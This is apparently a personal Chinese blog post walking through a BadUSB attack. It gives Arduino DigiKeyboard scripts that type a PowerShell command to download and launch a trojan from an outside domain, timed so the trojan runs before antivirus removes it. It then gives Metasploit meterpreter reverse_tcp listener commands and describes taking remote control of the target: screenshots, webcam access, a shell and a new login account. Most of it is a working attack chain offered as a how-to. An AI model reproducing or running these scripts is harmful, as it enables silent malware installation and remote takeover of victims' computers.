前言

本来打算使用u盘做一个简单系统的启动盘,查了好久也没有找到可以插入u盘就自动运行exe格式文件的方法,至于提到的autorun配置文件的方法已经过时没法用了。但是偶然间了解到了badusb,看了一下比较感兴趣就买了一个玩玩,顺便也简单学习下msf 这种东西插入电脑无需独立安装驱动,直接模拟键鼠进行输入,由于是开发板,可以使用arduino进行烧录,写入一些有害的执行脚本,打出无视杀软下载木马的骚操作 目前这个漏洞并没有什么太好的解决办法,一般的用户电脑插入之后不会有任何警告,了解了一下目前只有360的变形虫防护可以实现拦截。自己动手实现一下攻击过程还是挺有意思的,在这里记录一下

制作过程

先下载一个Arduino, 界面如下: 我买的是比较便宜的rubber ducker,具体软件的配置过程就不赘述了,下载安装好对应版本的开发板管理就可以进行编写了。之里面写的执行脚本是键鼠指令,有点类似于misc键鼠抓包分析时得到的东西。不过相对来说也比较简单,因为指令比较单一,简单学习一下就能理解自己写了,大概就分为延时指令,文字输入指令,和特殊按键输入指令三个部分代码都是固定的

脚本编写思路

由于我自己还不会写木马程序,所以我想实现的是通过kali的msf模块生成木马,并上传到我的github项目上,然后在rubber ducky上编写从github上下载并运行木马的脚本即可 一开始我写的脚本是这样: #include “DigiKeyboard.h” void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.println(“cmd”); DigiKeyboard.delay(200); DigiKeyboard.println(“powershell”); DigiKeyboard.delay(200); DigiKeyboard.println(“$clnt = new-object System.Net.WebClient; “); DigiKeyboard.delay(200); DigiKeyboard.println(“$url=’[https://lyyyds.xyz/flash.exe';"](https://lyyyds.xyz/flash.exe';%22)); DigiKeyboard.delay(200); DigiKeyboard.println(“$file = ‘D:\flash.exe’;”); DigiKeyboard.delay(200); DigiKeyboard.println(“$clnt.DownloadFile($url,$file); “); DigiKeyboard.delay(1000); DigiKeyboard.println(“START D:\flash.exe “); DigiKeyboard.delay(500); DigiKeyboard.println(“exit”); } void loop() { } 但是这样有个缺点就是在下载和运行之间有个1秒的延时,msf生成的木马并没有免杀,这一秒就会被杀毒软件清理掉导致木马运行失败,后来想到运行界面是可以执行多条指令,只要长度合适即可,所以又修改成了这种: #include “DigiKeyboard.h” void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.println(“powershell -Command $clnt = new-object System.Net.WebClient;$url= ‘[https://lyyyds.xyz/flash.exe';$file](https://lyyyds.xyz/flash.exe';$file) = ‘ %HOMEPATH%\flash.exe ‘;$clnt.DownloadFile($url,$file);%HOMEPATH%\flash.exe;”); } void loop() { } 这样写的好处就是下载命令和运行命令依次执行,可以在木马被杀掉之前运行程序,同时也缩短了脚本运行时间,下面的脚本运行一套大约2-3秒的时间就能在宿主机上下载并运行木马。

arduino烧录

将写好的代码放入arduino中,点击这里的编译,等待出现60内插入的提示插入开发板即可: 等这里的提示出现thinks就说明烧录成功了

msf木马的配置

首先打开kali虚拟机 使用命令生成一个名为flash.exe的木马病毒 打开msfconsole开始监听 打开终端输入msfconsole 使用监听模块:use exploit/multi/handler 设置payload:set payload windows/meterpreter/reverse_tcp 设置攻击机kali linux的地址:set lhost 192.168.45.136 (ip要与生成木马时的ip一致) 设置监听端口:set lport 4444 (端口要与生成木马时的端口一致) 运行 exploit 这样就开启了监听模式,然后把root文件夹下的flash.exe上传到github项目上

对靶机的控制

插入设备之后,脚本就控制powershell自动下载木马,可以看到虽然火绒报毒杀掉了木马程序,可木马还是被执行了 尝试一下基本指令 截图命令成功,打开摄像头成功,图像这里就不展示了 使用execute命令打开一下靶机的计算机程序,也是正常打开了 甚至可以使用shell操作命令提示符,新建一个账户用来自己登陆,而这些所有的操作在靶机上是没有任何提示警告的

结束

感觉msf的模块还是满强大的,还有很多其他功能后续要学习下,另外我没有做内网穿透,所以攻击过程只在局域网模拟,至于这个板子用起来感觉还不错,第一次比较正规的写自己的博客,有很多不足,以后慢慢改进!